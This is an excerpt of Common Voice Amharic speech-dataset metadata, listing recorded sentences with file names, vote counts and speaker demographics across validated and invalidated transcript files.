630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802738.mp3 6fa42c9315a32ac156faab4d19c7aa911ba19c54d32a847891321cb92dad0b97 ማሰብና መወሰን አለብን። 2 0 thirties male_masculine am
|
| 197 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802739.mp3 609137c1e72e46a6a5aa25277ebd359ad58a9cf89c45ea3ba8135b53f2c59b4d ሚስቱም እርሱ በሚፈልግ ጊዜ ምግብና መጠጥ አትሰጠው��� በሰላም እንዲተኛም አታደርግም፡፡ 2 0 thirties male_masculine am
|
| 198 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802756.mp3 353ae22d1b3a83519d3ae34856b2bcfca4ec9ba2486d4d893e94c129b2a86771 እንደዚህ እንደዚህ ከተባለ ቦታ ነው የወደቀው አለው፡፡ 2 0 thirties male_masculine am
|
| 199 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802757.mp3 39d98a72aed0d37da76fa6abf95718d3b9ee660bc961694b4c1e3408459d69cd ባለፉት ሁለት ዓመታት ከፍተኛ የሸቀጦች ዋጋ ጭማሪ ከመመዝገቡ በላይ እጥረትም ተከስቷል። 2 0 thirties male_masculine am
|
| 200 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802758.mp3 616849d3c63495138b06771d32becddd67102a0acb3e9042ccd7b6d32a7d7718 የሳዑዲ አረቢያ ዲፕሎማቶች ሱዳንን ለቀው መውጣታቸውን የሱዳን ጦር አስታውቋል። 2 0 thirties male_masculine am
|
| 201 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802759.mp3 76d2b04f6effc88c8155f45f494224e6acd13ae04b6abb6b2c784e48c92fd988 የተከሰተውን ችግር በመነጋገር ለመፍታት ከሁለቱም ወገን ያሉ አባቶች ተገናኝተው እና ተወያይተው ስምምነት ላይ ደርሰዋል። 2 0 thirties male_masculine am
|
| 202 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802760.mp3 2b1595cf9c60a837caa43e29e39db9e600a3f841534b43d6f2279026085c4b8d ዋና ዋናዎቹን ቀጥለን እንመለከታለን። 2 0 thirties male_masculine am
|
| 203 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802781.mp3 47ac6d91b4edfe49bb05fdfc7f802cb06775f1953e4a1ef75222db098ef13ede ብሎ ከብቶች ስላሉህ ከብቶችህን ብቻ ከመጠበቅ ባሻገር ስላንተ ለሌላ ሰው ሳልነግር ምስጢረኛህ እሆናለሁ፡፡ 2 0 thirties male_masculine am
|
| 204 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802782.mp3 711a23b8cbac3fe77fb093432485f99ce2c265c28bf5cfabbcb208394bbf6263 ለዚህ ምክንያቱ ሰውነታችን በቂ ፈሳሽ አለማግኘቱ ነው ይላሉ ቢላልና ቁረይሺ። 2 0 thirties male_masculine am
|
| 205 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802783.mp3 64397c3b945484fd1bd1029494318dfbd8c05309b4426bf77c70a94c073bc073 ለዚህ ደግሞ ሁለት ጉዳዮችን በምክንያትነት ያስቀምጣሉ። 2 0 thirties male_masculine am
|
| 206 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802784.mp3 6d51aeb8f9339c97078de5f4b4894cadd6c827fb1c149e0369833a2e86c0c1d5 የኮሮናቫይረስ ወረርሽኝ በዓለም ዙሪያ በሰው ልጅ አኗኗር ላይ ስር ነቀል ለውጥን አስከትሏል። 2 0 thirties male_masculine am
|
| 207 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802785.mp3 2499b3bb39db7ef1d5d41b9bc3bc7703fd81506fa5768cb7f4ee1ca3d1a20da8 ይህ ሰው በጣም ብልህ ስለነበረ ሰዎቹን ሁሉ ያታልል ነበር፡፡ 2 0 thirties male_masculine am
|
| 208 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802797.mp3 689a2851040a694ce712d4de1df2c9e5a31828a87544ba03e5c872f0b4e2613a ሲፈን ከውድድሩ በኋላ ለቢቢሲ በሰጠችው አስተያየት በጣም አስደናቂ ነበር። 2 0 thirties male_masculine am
|
| 209 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802798.mp3 595f2d1ece5f34c11aec83aecbb20d673f627a5942b5cf418667901a7079f283 እነዚህ ልዩ ኃይሎች የታጠቁ አማጺያን እና የወንጀል ቡድኖች ላይ ያነጣጠሩ ዘመቻዎችን ሲያካሂዱ ቆይተዋል። 2 0 thirties male_masculine am
|
| 210 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802799.mp3 7a5a6f67f4e5869a2270fb04b8cd5909c0160c6f5af20934b8cc472cb98ab639 ግብጽ ግን ቅርበቷ ለማን እንደሆነ በይፋ አትናገርም። 2 0 thirties male_masculine am
|
| 211 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802800.mp3 6116089ad7a31eef6c95a01ae0104b7e8943f2ac2e7ce01fe8aaaaf4f8058647 በዚህም ተገርመው የሚደንቅ ነው፡፡ 2 0 thirties male_masculine am
|
| 212 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802801.mp3 7a8e2038fd996e84cd23aba15f9f0534211f342187280880a258790032d02807 ክርስቲያኑ ምዕመን ለሀገር ሰላምና አንድነት መረጋገጥ ተግቶ እንዲሠራም ነው የሃይማኖት አባቶች መልዕክት ያስተላለፉት፡፡ 2 0 thirties male_masculine am
|
| 213 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802815.mp3 751cacf3ccb92000fe50e4e323570a59675952f4814ab7f5ed90e6a016f2242f በዚህ ጊዜ ሰይጣኖቹ ከዛፉ ስር ይጫወቱ ስለነበረ ስለዛፉ ቅጠሎች የተለያዩ ክፍሎች ሲያወሩ ሰማ፡፡ 2 0 thirties male_masculine am
|
| 214 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802816.mp3 58586b6538bddba102dd346f2f29d7d33ec602f34bbf230f22749c88aac3aa89 ማረድና መጨፍጨፉ በቀላሉ ተከናወነ። 2 0 thirties male_masculine am
|
| 215 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802817.mp3 4269b22b43f85c540e5a34eeffa357a3f33c19dedc0fd9a0bd902dbc7a90f41f ይህ ምን ማለት ነው ብለው መንገዳቸውን ቀጠሉ፡፡ 2 0 thirties male_masculine am
|
| 216 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802823.mp3 71129e0619a4ecfe6792f4c66a593480c61a732c72df19708f944c0b624a019d ነገር ግን መጠኑን መወሰን ተገቢ ነው ሲሉ ይመክራሉ። 2 0 thirties male_masculine am
|
| 217 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802843.mp3 5a112cdb37ac6b3710bd7a682f33f79e1ee469ebbc7b428b8a5464bd902a9f12 በዚህ ጊዜ ሰዎቹ ከብቶቻቸውን በሙሉ አርደው ቆዳቸውን ሊሸጡ ይዘው ሄዱ፡፡ 2 0 thirties male_masculine am
|
| 218 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802844.mp3 2d452710daeb1b2988d6c541130f527fa198e2d3a5f0bbfeee11f209d1a57fea በአስከፊ የቃላት ናዳ አንጀቱን ስለምታቆስለው እራት ሳይበላ ይተኛል፡፡ 2 0 thirties male_masculine am
|
| 219 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802845.mp3 0f94acda7e4eb2d31f0ac210681d19211da49326c5c692970464c4eb1754c5a6 ታዲያ ልጅቷ አባቷ ዘሮቹን እንዲዘራቸው ነግራው የጎመን ዘሩና ጤፉ በአንድ ላይ በቀሉ፡፡ 2 0 thirties male_masculine am
|
| 220 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802847.mp3 15c2eb5c44a999c813413a7431889a447c641c174ce90829de1211ce4355d56a ስድብና ማንጓጠጡን ውንጀላና ግርፋቱን የዓለምን መከራ ሁሉ ያለ በደሉ ተቀበለ። 2 0 thirties male_masculine am
|
| 221 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802848.mp3 5b8c03f4797710290e15ceb1f2804440548e095fd53572d32cfcccdcdeab3fa0 በጦርነቱ ለሞቱት አብረናችሁ እናዝናለን ጦርነቱ ስላበቃ ደግሞ አብረናችሁ እንደሰታለን ብለዋል። 2 0 thirties male_masculine am
|
| 222 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802881.mp3 7abd412ab2143be78153e9397712cdb32480bdcf1c7b6902e6dec1c28ff6616f በዚህም ሁኔታ በየቀኑ አብረው እየተኙ ለአንድ ሳምንት ያህል ፍቅራቸውን ሲጋሩ ከረሙ፡፡ 2 0 thirties male_masculine am
|
| 223 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802882.mp3 747b2f8a8f61b14cd2f15f5da260986b4f073729e4480883fddbd71699ee3d10 ሦስት ሳምቡሳ ብቻውን የቀን የካሎሪ መጠንን ያልፋል። 2 0 thirties male_masculine am
|
| 224 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802883.mp3 75c0d26a952186829dcf6088a1d9d7decf29840ec75d121fa0bb1ca2f635013f እርሱም ይህንን እኔ መፍታት አልችልምና ሄዳችሁ ታላቅ ወንድሜን አማክሩት፡፡ አላቸው፡፡ 2 0 thirties male_masculine am
|
| 225 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802884.mp3 40c10ba7a04d843d4e8a9e86465bd1a439ac5b09c660da9ef42706d6dc8074a6 ሰይጣን በሰው ላይ ሲሰፍር የሚያውቀው ጅብ ሲሆን ሰውየውም የቡዳ ተምሳሌት ስለሆነ ጁቡን ሊጋልበው ይችላል፡፡ 2 0 thirties male_masculine am
|
| 226 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802885.mp3 0c6f4485f696dbcf5b6ce0883005e9073eff536f2e4414c3bf39d2e4b421cf69 ይህም የሱዳን የፖለቲካ ዐውድ ከመለወጡ ጋር ይያያዛል። 2 0 thirties male_masculine am
|
| 227 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802900.mp3 31512d965031f25d40d2e710bb16b0fd77244b8e3d0dd69b7a6939c56fa70d87 በአዲስ አበባ የወዳጅነት አደባባይ በተካሄደው ሥነ ሥርዓት ላይ ተነግሯል 2 0 thirties male_masculine am
|
| 228 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802901.mp3 7df166fcc4bed7204d9918b6d0b0bee2818536bb7edb46e156a4557f65fdc6cf ቾይ የፕሬዝደንት ፓርክን መልካም ግንኙነት ተጠቅመው ከባለሃብቶች ጋር ሚሊዮን ዶላሮችን በእርዳታ መልክ ማግኘት ችለዋል። 2 0 thirties male_masculine am
|
| 229 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802902.mp3 31de2469fb1e8a8bceb93a64d33f922ef179b59f08315253be0f3a5c5dca99db ሥጋ እና ጣፋጭም ይበላሉ። 2 0 thirties male_masculine am
|
| 230 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802903.mp3 72b4e70ac660c7f744395023f99a876641ebeb1154d6c3cf180bb6cfbe4b0954 አሁን በተፈጠረው ሁኔታ ግን ወደዚያ የሚወስድ ዕድል ያላቸው አይመስለኝም። 2 0 thirties male_masculine am
|
| 231 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802904.mp3 3572a3d33bec7f15c1bb92b40f0399196e594feb2e5882f11455ed58f7df5c69 እያለ ሲለምን በልእልቲቱ ጣት ላይ የወርቁን ቀለበት አየው፡፡ 2 0 thirties male_masculine am
|
| 232 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802916.mp3 081a2a734aa76daadbbfe1ae9b710c7c7895b0ff286b8ecc8b839b15a89d21e1 ከአራት ወራት በፊት የቫሌንሺያ ማራቶንን ያሸነፈው ኬልቪን ድንቅ አቋም ላይ ይገኛል። 2 0 thirties male_masculine am
|
| 233 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802917.mp3 5fb0387e47c0e67664a3c846dc03a38261c1a7c6e0f8d62794e16ec27e9f1eb0 ከአዲስ አበባ ከተማ ካቢኔ ውስጥ ግማሽ የሚሆነው የከተማዋ ተወላጅ ነው የሚል ምላሽ ሰጥተዋል፡፡ 2 0 thirties male_masculine am
|
| 234 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802918.mp3 0ff42922f424bfc1828747b6abb65d608c4a73f68063a3bd18b50b15bdbc8802 ይህ ጨዋታ አቻ እንደሚጠናቀቀ ገምታለሁ። 2 0 thirties male_masculine am
|
| 235 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802919.mp3 7daadfa5bb0b919777abcf874365392599364bd0b39771df6d9e206a0dcb48af አባትየውም ምን ባደርግ ይሻላል ብሎ ልጁን ጠየቃት፡፡ 2 0 thirties male_masculine am
|
| 236 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802927.mp3 65adc6294f00f07660219ac574b59e342ea0f4f2fa07e593db1c6f3aa244c5c3 በርካታ ህዝበ ሙስሊም በተገኘበት በአዲስ አበባ ስታዲየም ዙሪያ ተካሂዷል። 2 0 thirties male_masculine am
|
| 237 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802928.mp3 64c9470381e789e6359d59544611dda407f254f3c4f7e273646378404a1b0325 ፈጣሪ ኢትዮጵያና ሕዝቦቿን ይባርክ 2 0 thirties male_masculine am
|
| 238 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802929.mp3 5b66516186ca2491c12afc21b28b0a8f81d582af0510985055e2d80c0b13bc2a እነዚህንም ተግባራት በመጠቀም ስለ ማንነትዎ የበለጠ ለመግለጽ እንዲሁም የወደፊቱንም ዕቅድ ለማሳወቅ ይጠቀሙበት። 2 0 thirties male_masculine am
|
| 239 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802930.mp3 778cdc787ea895b7fc4b77dc4bc389c3349faa341f9298baed71287a2aef5a73 ብላ ስትጠይቀው እርሱም “ስራ ሰርቼ ገንዘብ አግኝቼ ሃብታም መሆን እፈልጋለሁ አላት፡፡ 2 0 thirties male_masculine am
|
| 240 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37802931.mp3 493692515ffa90920499799bec0f440cec287fb58328e95feb616c3867c1c8e6 ይህ ማለት አንደኛው ማሸነፍ አለበት። 2 0 thirties male_masculine am
|
| 241 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37807176.mp3 85598a01d0e6bfd2efee7134fd1fb61dda075a0b03f976c5b6bda9ba9edda8a3 የቢቢሲው የእግር ኳስ ተንታኝ ክሪስ ሱቶን የተጠባቂዎቹን ጨዋታዎች ግምት እንደሚከተለው አቅርቧል። 2 0 thirties male_masculine am
|
| 242 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37807177.mp3 6945d2a27e1c7d0addc0ddd931f28dd9072ee5565cd995af92dfc4c3371a4b4d እንዲሁም በቱጃሩ ቢል ጌትስ ስም የተቋቋመው የጌትስ ስኮላርሺፕን ለማግኘት የመጨረሻዋ ዕጩ ሆናለች። 2 0 thirties male_masculine am
|
| 243 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37807178.mp3 60120aa0244564d8a842389ffa2fbee3180395ff2e3f08aa4951b5f75364a31e ከዚያም ደግለራሱ አንድ አይኑን አውጥቶ ምግብ አገኘ፡፡ 2 0 thirties male_masculine am
|
| 244 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37807179.mp3 349c75d4f3b996ba58f6cdf3dda7ea420264bb0d6ac10731e24873998557ef7c ከገበያ እየሮጥኩ ነው የተመለስኩት፡፡ 2 0 thirties male_masculine am
|
| 245 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37807185.mp3 7c8a5faea8fbae462dd21d12d364e36423671af40d2c9ef65d19e7007e0d2eeb የውኃ ልማት ፕሮጀክት ወደ ሥራ ለማስገባት እየተሰራ መሆኑን የከተማ አስተዳደሩ ውሃና ፍሳሽ ባለሥልጣን ገለጸ። 2 0 thirties male_masculine am
|
| 246 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37807186.mp3 1acfa929492d97900f3883539960c4f885c593990a46cb73c9c2bffea46730fb ሄምቲ ትውልዳቸው ዳርፉር ሲሆን የሱዳን ልሂቃን እሳቸው እና ወታደሮቻቸውን የሚመለከቱት ባቃለለ መልኩ ነው። 2 0 thirties male_masculine am
|
| 247 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37807187.mp3 8af950032b29e91de3e6229bdcb16c47f9eb2aabfd4e57b338428d8267874b66 ከብት የሚያረቡ አርብቶ አደሮች ቁጥርም እጅግ ጥቂት ነው። 2 0 thirties male_masculine am
|
| 248 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37807188.mp3 51c38c4c01354e0f45bffab1b838fd8b626b1c2eeba865c0b1f9af50e028300c ለአንደኛችን ገንዘብ ለአንደኛችን አፈር ለአንደኛችን ደግሞ ወርቅ ተናዞልን ሞተ፡፡ 2 0 thirties male_masculine am
|
| 249 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37807189.mp3 19ca88bd3ec2bfd03a11943310b8c753d8d25ca364328a77fc979473b32048f9 ደግለራሱ የገበያ ዳኛም ሆነ፡፡ ታዲያ አንድ ቀን ክፉለራሱ ወደ ገበያ መጥቶ ተገናኙ፡፡ 2 1 thirties male_masculine am
|
transcript/am/invalidated.tsv
ADDED
|
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
client_id path sentence_id sentence sentence_domain up_votes down_votes age gender accents variant locale segment
|
| 2 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782217.mp3 11aed9ccf4024f50cb5d3d01547a038498eb8a6b337269942f2087197858d437 በአውሮፓውያኑ አስራምስት ዘጠና ሰባት ጃፓን ሀያ ስድስት ሚስዮናውያንን የሰቀለች ሲሆን የክርስትና እምነት ተከታዮችም መሳደድ ጀመሩ። 0 2 am
|
| 3 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37782586.mp3 3a3202c214f656e101a4b4e2c4369ebefdebe7ef00deb548735ab5df7607132b ልክ ከሱ ጋር የተደረገ ቃለ ምልልስ በማስመሰል በአርቲፊሻል ኢንተለጀንስ አማካይነት ቃለ ምልልስ ተዘጋጅቶ በመጽሔት ታትሟል። 1 2 thirties male_masculine am
|
| 4 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790333.mp3 56734f78a3697d8f22c1eddeb1ffff2597c61b2ba168aeeef3254a201eee3a0f የሩሲያ ኦርቶዶክስ ቤተክርስትያን ከፕሬዝደንት ቭላድሚር ፑቲን ጋር በመወገን የሩሲያን ወረራ ደግፋለች። 1 2 thirties male_masculine am
|
| 5 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790591.mp3 64043634baf459a9ccdcbe3da16a996eca4de9ce7e30f83e0d8a7868ff8538c0 የሮማውያን ጭፍሮች በየሄዱበት አካባባቢ ሰዎችን መስቀልን ይለማመዱ ነበር ይላሉ። 0 2 thirties male_masculine am
|
| 6 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790593.mp3 01a3b1bf5f2aeae5de4ace64bf13f1158dae7fd20e4e8e2acac5f7a65101ef9c መፈንቅለ መንግሥት ከተካሄደ በኋላ የጦር ጄኔራሎች ሉዓላዊ ምክር ቤት የሚባል አካል አቋቁመው አገሪቱን እየመሩ ይገኛሉ። 0 2 thirties male_masculine am
|
| 7 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790616.mp3 578ce34bbc64d749f29fca9d58399e865f21f856c7a7cd03aba6ca8957904cfa ድንቅ አቋም ላይ የሚገኙ ሌሎች ኢትዮጵያውያን አትሌቶችም የውድድሩ ተሳታፊ እና ተጠናቂ ናቸው። 0 2 thirties male_masculine am
|
| 8 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790625.mp3 59d0b3f064f8ecc06bda0e02e423ce5144d6f637525e3aa657ff249792f1001a ፖሊስ ከትኩስ የመቃብር ስፍራ የሰዎችን አስክሬን በቁፋሮ ነው ያገኘው 1 2 thirties male_masculine am
|
| 9 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37790626.mp3 0906139935fcfea541d53ddf6f6b2e1a426ae16b90732d25d525fda87efe7914 ታዲያ የቱ መንገድ ነው የሚመከረው? 0 2 thirties male_masculine am
|
| 10 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791285.mp3 6a4706ccd3fbf56310cb5688689e9e285aeb861285b8d948a72261773bc78fc6 እነርሱም የቋሚውን ርዝመት የምንለካበት ዘንግ ስለሌለን እባክህ ዘንጉን ስጠንና ቋሚውን እናምጣ አሉት፡፡ 0 2 thirties male_masculine am
|
| 11 |
+
630268023b226b178ae60d72deca150cca0343f99cace56469943be8cb75dd622640bb7d4e1276d5f9be3ce2a5ea3d75c9d138abc9c727b64f0e324bbc65efa3 common_voice_am_37791304.mp3 0ac6b5ece53f926f05dd2e3552bb4d6e6272b4659b90bf5af557f65b85d3c2cd ግብጽ የግድቡ ግንባታ የዐባይን የውሃ መጠን በመገደብ ለሕልውናዬ ያሰጋል ትላለች። 0 2 thirties male_masculine am
|
| 12 |
+
